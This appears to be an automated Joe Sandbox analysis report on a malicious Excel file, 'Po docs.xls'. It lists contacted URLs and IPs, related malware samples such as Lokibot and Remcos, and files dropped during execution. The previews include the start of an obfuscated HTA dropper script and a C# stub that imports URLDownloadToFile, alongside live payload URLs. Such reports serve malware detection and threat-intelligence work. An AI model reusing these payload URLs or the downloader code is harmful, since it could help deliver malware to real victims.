http://198.46.178.151/65/hb/creatednewthingsforme.htaol&beef=adjoining&pillbox	mshta.exe, 00000004.00000003.424111399.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.0000000000450000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.htahttp://198.46.178.151/65/hb/creatednewthingsfor	mshta.exe, 00000004.00000003.426435936.0000000002335000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.425855768.0000000002335000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.472167622.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.477712433.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/	mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.htaol&beef=adjoining&pillboxD~	mshta.exe, 00000004.00000003.426857155.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox4	mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/1	mshta.exe, 00000004.00000003.422295255.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.000000000342E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/t	mshta.exe, 00000004.00000003.422295255.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.0000000003442000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com	powershell.exe, 0000000E.00000002.509235789.00000000024F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.00000000025C2000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxH	mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.htaol&bQ~	mshta.exe, 00000004.00000003.424111399.00000000003F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxI	mshta.exe, 0000000F.00000003.475162292.0000000000462000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxCUS	mshta.exe, 00000004.00000003.424111399.0000000000441000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481367241.0000000004241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.151/p	mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxJ~	mshta.exe, 00000004.00000002.427447815.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	drive.google.com	United States	15169	GOOGLEUS	false
104.21.74.191	acesso.run	United States	13335	CLOUDFLARENETUS	false
94.156.177.220	unknown	Bulgaria	43561	NET1-ASBG	true
198.46.178.151	unknown	United States	36352	AS-COLOCROSSINGUS	true
142.250.185.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545130
Start date and time:	2024-10-30 07:51:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Sample name:	Po docs.xls
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winXLS@34/43@8/5
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target mshta.exe, PID 2684 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3748 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Po docs.xls

Simulations

Behavior and APIs

Time	Type	Description
02:52:54	API Interceptor	126x Sleep call for process: mshta.exe modified
02:52:57	API Interceptor	835x Sleep call for process: powershell.exe modified
02:53:11	API Interceptor	34x Sleep call for process: wscript.exe modified
02:53:38	API Interceptor	404x Sleep call for process: aspnet_regbrowsers.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.74.191	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	tuong.me/wp-login.php
94.156.177.220	Swift Copy.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.220/logs/five/fre.php
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.220/simple/five/fre.php
	SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsx	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.220/simple/five/fre.php
	Statement Of Account.exe	Get hash	malicious	Lokibot	Browse	94.156.177.220/skipo/five/fre.php
	Purchase order.xls	Get hash	malicious	Lokibot	Browse	94.156.177.220/simple/five/fre.php
	Payment Advice.xls	Get hash	malicious	Lokibot	Browse	94.156.177.220/logs/five/fre.php
	1729844285df3beefdd998d9488ed81285c601b4206d2d286448af87fbe46e5e262d812b0f698.dat-decoded.exe	Get hash	malicious	Lokibot	Browse	94.156.177.220/simple/five/fre.php
	SecuriteInfo.com.W97M.DownLoader.6515.29545.30613.xlsx	Get hash	malicious	Lokibot	Browse	94.156.177.220/simple/five/fre.php
	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	94.156.177.220/logs/five/fre.php
	Logs.xls	Get hash	malicious	Lokibot	Browse	94.156.177.220/logs/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
acesso.run	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.162.95
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	0001.xls	Get hash	malicious	Remcos	Browse	172.67.162.95
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	172.67.162.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	B6eg13TpEH.elf	Get hash	malicious	Unknown	Browse	1.4.26.82
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	DHL TRACKING.exe	Get hash	malicious	FormBook	Browse	104.21.45.179
	https://trvelocity.petra-dee.org/index.php/campaigns/ao946pbrfq631/track-url/lk782m0eyna84/24e9f9ecc31181de7c43e9793836ee263a7fcd94%20%20office365_event_type%20alert	Get hash	malicious	Unknown	Browse	188.114.97.3
AS-COLOCROSSINGUS	PO-004976.xls	Get hash	malicious	Unknown	Browse	192.3.101.8
	SuNMTBkfPo.elf	Get hash	malicious	Unknown	Browse	172.245.26.231
	PO-004976.xls	Get hash	malicious	Unknown	Browse	192.3.101.8
	Orden de Compra No. 434565344657.xlam.xlsx	Get hash	malicious	Unknown	Browse	192.3.220.20
	ORDEN7873097067.xlam.xlsx	Get hash	malicious	Unknown	Browse	172.245.185.139
	cotizaci#U00f2n.xlam.xlsx	Get hash	malicious	Unknown	Browse	192.3.220.20
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	107.175.130.36
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	107.175.130.36
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	107.175.130.36
	0001.xls	Get hash	malicious	Remcos	Browse	192.3.101.193
NET1-ASBG	Swift Copy.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.220
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.220
	SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsx	Get hash	malicious	HTMLPhisher, Lokibot	Browse	94.156.177.220
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	142.250.186.46 142.250.185.97
	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	142.250.186.46 142.250.185.97
	0001.xls	Get hash	malicious	Remcos	Browse	142.250.186.46 142.250.185.97
	1.rtf	Get hash	malicious	Remcos	Browse	142.250.186.46 142.250.185.97
	ingswhic.doc	Get hash	malicious	Remcos	Browse	142.250.186.46 142.250.185.97
	swithnew.doc	Get hash	malicious	Remcos	Browse	142.250.186.46 142.250.185.97
	Swift Copy.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.250.186.46 142.250.185.97
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.250.186.46 142.250.185.97
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.46 142.250.185.97
	SecuriteInfo.com.Other.Malware-gen.29374.9055.xlsx	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.250.186.46 142.250.185.97
7dcce5b76c8b17472d024758970a406b	PO-004976.xls	Get hash	malicious	Unknown	Browse	104.21.74.191
	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	NUEVA ORDEN DE COMPRA 73244.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.74.191
	0001.xls	Get hash	malicious	Remcos	Browse	104.21.74.191
	Swift Copy.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	ST007 SWIFT CONFIRMATION.xls	Get hash	malicious	Unknown	Browse	104.21.74.191
	ST007 SWIFT CONFIRMATION.xls	Get hash	malicious	Unknown	Browse	104.21.74.191
	Transferencia.doc	Get hash	malicious	Quasar	Browse	104.21.74.191

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4742
Entropy (8bit):	4.8105940880640246
Encrypted:	false
SSDEEP:	96:mCJ2Woe5Sgyg12jDs+un/iQLEYFjDaeWJ6KGcmXuFRLcU6/KI2k6Lm5emmXIG:Jxoe5+gkjDt4iWN3yBGH+dcU6CIVsm5D
MD5:	278C40A9A3B321CA9147FFBC6BE3A8A8
SHA1:	D795FC7D3249F9D924DC951DA1DB900D02496D73
SHA-256:	4EB0EAE13C3C67789AD8940555F31548A66F5031BF1A804E26EA6E303515259E
SHA-512:	E7222B41A436CE0BF8FA3D8E5EB8249D4D3985419D0F901F535375789F001B5929EF9B85C1D6802F0FBD5F722A52CB27021F87D076E69D92F46C7C3E894C6F00
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script............7...q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Remove-Variable........Convert-String........Trace-Command........Sort-Object........Register-Object

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	modified
Size (bytes):	173103
Entropy (8bit):	2.0070538489656617
Encrypted:	false
SSDEEP:	96:4vG17l7hCxL27hCKLJLeWpMERxX7ydyV7ht7hgL07hCggQ:4vGdyeFZpMqydyYrQ
MD5:	DFBDB0B8536088E1778335A5911D598A
SHA1:	E8D1F1456AA76DD6FD110A9BFAB07BDEE9EA5E68
SHA-256:	CEE0050209A8056DDA86CC928CACB2434C54519FE96716FA66A03424B34018D5
SHA-512:	26B578DFA994182454835AD6876B25F70EDAD827DC21D3308E870C72E49608A1AFB7CCB5DF8600DC556BE97F1662F38AD3AD7995F5DF20CC7532F8C98019D22B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta, Author: Joe Security
Preview:	<script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253Cscript%25253E%25250A%25253C%252521--%25250Adocument.write%252528unescape%252528%252522%2525253C%25252521DOCTYPE%25252520html%2525253E%2525250A%2525253Cmeta%25252520http-equiv%2525253D%25252522X-UA-Compatible%25252522%25252520content%2525253D%25252522IE%2525253DEmulateIE8%25252522%25252520%2525253E%2525250A%2525253Chtml%2525253E%2525250A%2525253Cbody%2525253E%2525250A%2525253CSCRipt%25252520tyPE%2525253D%25252522tEXT/vBsCrIpT%25252522%2525253E%2525250AdIm%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%2525

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\seethebesthtingswithmewhichgivegreatoutputofmegood[1].tiff

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	140722
Entropy (8bit):	3.6746713804592175
Encrypted:	false
SSDEEP:	3072:IirwLcc9tgt5puGwDhUVObjwsBOKEazJ6xh7H:wEOblhMh7
MD5:	4DD3D6EED0E1ADE77FDE299848078EF8
SHA1:	75855BEE75C0C52D00CAD1897C381FFC6C706200
SHA-256:	9BFF58B3DFE1955E923ED90E899AC419667DE9E6C842753D68614FBF8F612305
SHA-512:	3C7907B390CEDB7F619F1CB9D3AAA24C623A6083995BE4A45690E5FD05982DF6054E33D1D434CBCB725AD27003529112ABB52138D4F5125BFC8680A786701E5D
Malicious:	false
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .b.r.a.n.d.a.l.)..... . . . .d.i.m. .g.r.a.c.i.o.s.o.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .g.r.a.c.i.o.s.o..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .g.r.a.c.i.o.s.o.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . . .p.r.o.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4FB9E199.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	4548484
Entropy (8bit):	3.5983684802509543
Encrypted:	false
SSDEEP:	6144:x0IivajYI2qoWfceTyPYI2qMWPXFucI1/gGoJRNRCIY5fgmom:Ia0I2qoW1ygI2qMWzIpgGoZY9gmom
MD5:	75F7043A255C6B9CF5293E4298ED5B1C
SHA1:	CB4BF68466ECDACE7C1FEDC8D01169A80381C49D
SHA-256:	9959002E0E67D70E08CB7A9226D1824D77FFD8CA4AB9904233B717E8EB3FEF27
SHA-512:	19C26274073F02E6A8E19BD7E7F5AA010EC2EA538516FD699B181F8D4CE6CA3F9AA8303E3B5C4BC5B05CDA3ED93CE1BA2E5CCAED8150803F3871E8D68B5CCFDD
Malicious:	false
Preview:	....l...........v................S...".. EMF.....gE.........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\875A500F.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	4548484
Entropy (8bit):	3.5983684802509543
Encrypted:	false
SSDEEP:	6144:x0IivajYI2qoWfceTyPYI2qMWPXFucI1/gGoJRNRCIY5fgmom:Ia0I2qoW1ygI2qMWzIpgGoZY9gmom
MD5:	75F7043A255C6B9CF5293E4298ED5B1C
SHA1:	CB4BF68466ECDACE7C1FEDC8D01169A80381C49D
SHA-256:	9959002E0E67D70E08CB7A9226D1824D77FFD8CA4AB9904233B717E8EB3FEF27
SHA-512:	19C26274073F02E6A8E19BD7E7F5AA010EC2EA538516FD699B181F8D4CE6CA3F9AA8303E3B5C4BC5B05CDA3ED93CE1BA2E5CCAED8150803F3871E8D68B5CCFDD
Malicious:	false
Preview:	....l...........v................S...".. EMF.....gE.........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Temp\10cma5dt.twm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (358)
Category:	dropped
Size (bytes):	470
Entropy (8bit):	3.781093878209523
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuS0FMiQXReKJ8SRHy4HHe03hUkF/BGudqIy:V/DTLDfuKXfHa0z7GudDy
MD5:	A13A120C5F8C637E5E9CCD2A7225F41E
SHA1:	7C9258E242BA83D2D8E0531C361DEF8A64AFD2DB
SHA-256:	1E28BCF876220C012A8EFFC28D022D43D7A531E3D64B38AFDB5F87981C311343
SHA-512:	AF3EF5BB053C231A5A60477332B6A95248C4ACBCA1983BACB882D00B82937A03F0AEA03186B34F572526B99FDB5124EA42075FFB2E303C4681B558450EF4DEC3
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace laNEDk.{. public class Af. {. [DllImport("URlMon", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr mGy,string PZzaOjRwwP,string mH,uint KQXMKcRHBc,IntPtr nExO);.. }..}.

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
